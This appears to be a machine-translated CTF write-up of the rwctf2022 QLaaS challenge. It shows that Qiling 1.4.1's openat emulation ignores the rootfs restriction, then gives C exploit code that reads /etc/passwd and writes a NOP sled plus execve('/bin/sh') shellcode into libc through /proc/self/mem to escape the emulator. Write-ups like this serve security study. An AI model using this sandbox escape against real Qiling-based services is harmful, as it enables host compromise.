当前位置:网站首页>rwctf2022_ QLaaS
rwctf2022_ QLaaS
2022-07-02 20:54:00 【-Order rule】
rwctf2022 QLaaS
List of articles
main.py
First of all, there is only one subject document main.py, The contents are as follows :
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())
with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')
with open(fp, 'wb') as f:
f.write(binary)
my_sandbox(fp, tmp_dir)
if __name__ == '__main__':
main()
Now get the file , Then call directly qiling The framework runs it . It's shown here that qiling=1.4.1, It is also the latest version at present .
First, in the github Get it down qiling Code for , And then switch to 1.4.1 edition , Write a simple script by imitating the above script :
#!/usr/bin/env python3
import os
import sys
import base64
# pip install qiling==1.4.1
c
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
my_sandbox("/tmp/a/bin", "/tmp/a")
if __name__ == '__main__':
main()
Note that I didn't install qiling, So this
from qiling import Qiling
In fact, it will search from the current path , Put this script here clone Coming down qiling Code directory , Will be found automaticallyqiling
Folder , And use the python file , You can also start debugging .
Then I wrote a exp.c,
#include <stdio.h>
int main() {
printf("hellow\n");
return 0;
}
Try to run , Find this error . When you want to load the dynamic link library in this location , Try downloading in this directory ld File failed ,
You can see that the file you originally want to load is this , Be restricted to rootfs
It's in .
So use static links .
Then I found that the running syscall, qiling It's actually encapsulated unicorn, however unicorn In fact, it has not been realized sys call, These should be qiling Implemented in .
Loophole
transform_to_real_path
First try to start directly shell,
int main() {
execve("/bin/sh", 0, 0);
return 0;
}
In function ql_syscall_execve
Error reported in , Show can't find file /tmp/a/bin/sh
Let's go into this function . The error position is in the last ql.loader.run()
def ql_syscall_execve(ql: Qiling, pathname: int, argv: int, envp: int):
file_path = ql.os.utils.read_cstring(pathname)
real_path = ql.os.path.transform_to_real_path(file_path)
def __read_str_array(addr: int) -> Iterator[str]:
if addr:
while True:
elem = ql.mem.read_ptr(addr)
if elem == 0:
break
yield ql.os.utils.read_cstring(elem)
addr += ql.pointersize
args = [s for s in __read_str_array(argv)]
env = {
}
for s in __read_str_array(envp):
k, _, v = s.partition('=')
env[k] = v
ql.emu_stop()
ql.log.debug(f'execve({
file_path}, [{
", ".join(args)}], [{
", ".join(f"{
k}={
v}" for k, v in env.items())}])')
ql.loader.argv = args
ql.loader.env = env
ql._path = real_path
ql.mem.map_info = []
ql.clear_ql_hooks()
# Clean debugger to prevent port conflicts
ql.debugger = None
if ql.code:
return
ql._uc = ql.arch.init_uc
QlCoreHooks.__init__(ql, ql._uc)
ql.os.load()
ql.loader.run()
ql.run()
Find this incoming pathname
, Through the processing of two functions file_path
and real_path
, Finally, what is really practical is real_path
, In statement :ql._path = real_path
, Get into transform_to_real_path
The function view ,
It should be. This path is limited to self.ql.rootfs
within .
def transform_to_real_path(self, path: str) -> str:
real_path = self.convert_path(self.ql.rootfs, self.cwd, path)
if os.path.islink(real_path):
link_path = Path(os.readlink(real_path))
if not link_path.is_absolute():
real_path = Path(os.path.join(os.path.dirname(real_path), link_path))
# resolve multilevel symbolic link
if not os.path.exists(real_path):
path_dirs = link_path.parts
if link_path.is_absolute():
path_dirs = path_dirs[1:]
for i in range(len(path_dirs) - 1):
path_prefix = os.path.sep.join(path_dirs[:i+1])
real_path_prefix = self.transform_to_real_path(path_prefix)
path_remain = os.path.sep.join(path_dirs[i+1:])
real_path = Path(os.path.join(real_path_prefix, path_remain))
if os.path.exists(real_path):
break
return str(real_path.absolute())
Then here is equivalent to chroot And so on , We can't break through ,
openat
Global search for this transform_to_real_path
function , Check the location of the reference , Pay special attention to os/posix/syscall
A file in a directory , This is right syscall The implementation of the .
You can also see ql_syscall_open
And other functions use this limitation , But it's easy to see a comment :
Enter this location to view , Found to be openat,
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
file_path = ql.os.utils.read_cstring(path)
# real_path = ql.os.path.transform_to_real_path(path)
# relative_path = ql.os.path.transform_to_relative_path(path)
flags &= 0xffffffff
mode &= 0xffffffff
idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)
if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM:
mode = 0
flags = ql_open_flag_mapping(ql, flags)
fd = ql.unpacks(ql.pack(fd))
if 0 <= fd < NR_OPEN:
dir_fd = ql.os.fd[fd].fileno()
else:
dir_fd = None
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)
regreturn = idx
except QlSyscallError as e:
regreturn = -e.errno
ql.log.debug(f'openat(fd = {
fd:d}, path = {
file_path}, mode = {
mode:#o}) = {
regreturn:d}')
return regreturn
You can see that this position is directly right file_path
Conduct open Then return , It seems that there are no restrictions .
Test it :
int main() {
char buf[0x100];
int fd = openat(1, "/etc/passwd", O_RDONLY);
ssize_t len = read(fd, buf, sizeof(buf));
write(1, buf, len);
return 0;
}
Get the output :
utilize
Read and write an arbitrary file , How can I fight ?
/proc/self/mem
First of all, understand proc File structure
proc file
linux Next , Everything is a document , For information saved in a process , You can use the corresponding /proc/<pid>/
File to view , These documents are linux Virtual file implemented , It does not occupy memory , The file in it stores all the relevant information of the corresponding process .
You can access and modify the specified process information here . Here is the location used here :
/proc/<pid>/maps
- Save the memory layout of the corresponding process , Include address Corresponding modules
/proc/<pid>/mem
- Point to the memory space of the corresponding process , Can pass open read write lseek To read and write .
/proc/self
- This points to the current running instruction itself
/proc/<pid>/
, Access itself without getting pid 了 .
- This points to the current running instruction itself
utilize /proc/<pid>/mem
Inject shellcode
It can be regarded as a common means of utilization , More general .
For a process , We can go through /proc/<pid>/mem
Access to internal memory . So it can be modified .
The general practice is , use first open Open corresponding fd, And then through lseek Set up fd Address to , Then you can go through read write Read and write the corresponding memory .
exp
Relatively simple , First from /proc/self/maps
Get in libc Of text Segment address , And then in /proc/self/mem
Set in fd Point to libc Of text paragraph ,
Then inject a lot of nop Command as a skateboard , Finally write shellcode,
Exit can , In the follow-up process python Call to libc When , Will fall on the skateboard , Then slide towards shellcode.
unsigned char shellcode[0x27a50 + 0x100 + 0x100];
unsigned char sc[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
int exp() {
char buf[0x1000];
int fd = openat(1, "/proc/self/maps", O_RDONLY);
FILE *fd_maps = fdopen(fd, "r");
int mem = openat(1, "/proc/self/mem", O_RDWR);
unsigned long long addr;
while (fgets(buf, sizeof(buf), fd_maps)) {
if (strstr(buf, "r-xp") && strstr(buf, "lib/libc-")) {
sscanf(buf, "%llx-", &addr);
printf("%s", buf);
}
}
printf("%llx", addr);
memset(shellcode, 0x90, 0x27a50 + 0x100);
memcpy(shellcode + 0x27a50 + 0x100, sc, sizeof(sc));
lseek(mem, addr, SEEK_SET);
write(mem, shellcode, sizeof(shellcode));
return 0;
}
边栏推荐
- Research Report on the overall scale, major manufacturers, major regions, products and applications of micro hydraulic cylinders in the global market in 2022
- How can testers do without missing tests? Seven o'clock is enough
- SBT tutorial
- Research Report on the overall scale, major manufacturers, major regions, products and application segmentation of shock absorber oil in the global market in 2022
- What are the preferential account opening policies of securities companies now? Is it actually safe to open an account online?
- JDBC | Chapter 4: transaction commit and rollback
- 面试经验总结,为你的offer保驾护航,满满的知识点
- Database schema notes - how to choose the right database in development + who invented relational database?
- mysql
- Redis -- three special data types
猜你喜欢
Taiwan SSS Xinchuang sss1700 replaces cmmedia cm6533 24bit 96KHz USB audio codec chip
台湾SSS鑫创SSS1700替代Cmedia CM6533 24bit 96KHZ USB音频编解码芯片
[question brushing diary] classic questions of dynamic planning
Solution to blue screen after installing TIA botu V17 in notebook
Use graalvm native image to quickly expose jar code as a native shared library
5 environment construction spark on yarn
How can testers do without missing tests? Seven o'clock is enough
Exemple complet d'enregistrement du modèle pytoch + enregistrement du modèle pytoch seuls les paramètres d'entraînement sont - ils enregistrés? Oui (+ Solution)
Add two numbers of leetcode
Complete example of pytorch model saving +does pytorch model saving only save trainable parameters? Yes (+ solution)
随机推荐
数据库模式笔记 --- 如何在开发中选择合适的数据库+关系型数据库是谁发明的?
[cloud native topic -50]:kubesphere cloud Governance - operation - step by step deployment of microservice based business applications - database middleware MySQL microservice deployment process
Resunet tensorrt8.2 speed and video memory record table on Jetson Xavier NX (continuously supplemented later)
Spark source code compilation, cluster deployment and SBT development environment integration in idea
Postman接口测试实战,这5个问题你一定要知道
Lantern Festival, come and guess lantern riddles to win the "year of the tiger Doll"!
For (Auto A: b) and for (Auto & A: b) usage
疫情封控65天,我的居家办公心得分享 | 社区征文
Longest public prefix of leetcode
股票开户要找谁?手机开户是安全么?
Resunnet - tensorrt8.2 Speed and Display record Sheet on Jetson Xavier NX (continuously supplemented)
JS modularization
笔记本安装TIA博途V17后出现蓝屏的解决办法
Basic concept of database, installation and configuration of database, basic use of MySQL, operation of database in the project
外包干了三年,废了...
Second hand housing data analysis and prediction system
Cron expression (seven subexpressions)
Research Report on the overall scale, major manufacturers, major regions, products and application segmentation of sound quality head simulators in the global market in 2022
Google Earth Engine(GEE)——Landsat 9影像全波段影像下载(北京市为例)
I did a craniotomy experiment: talk about macromolecule coding theory and Lao Wang's fallacy from corpus callosum and frontal leukotomy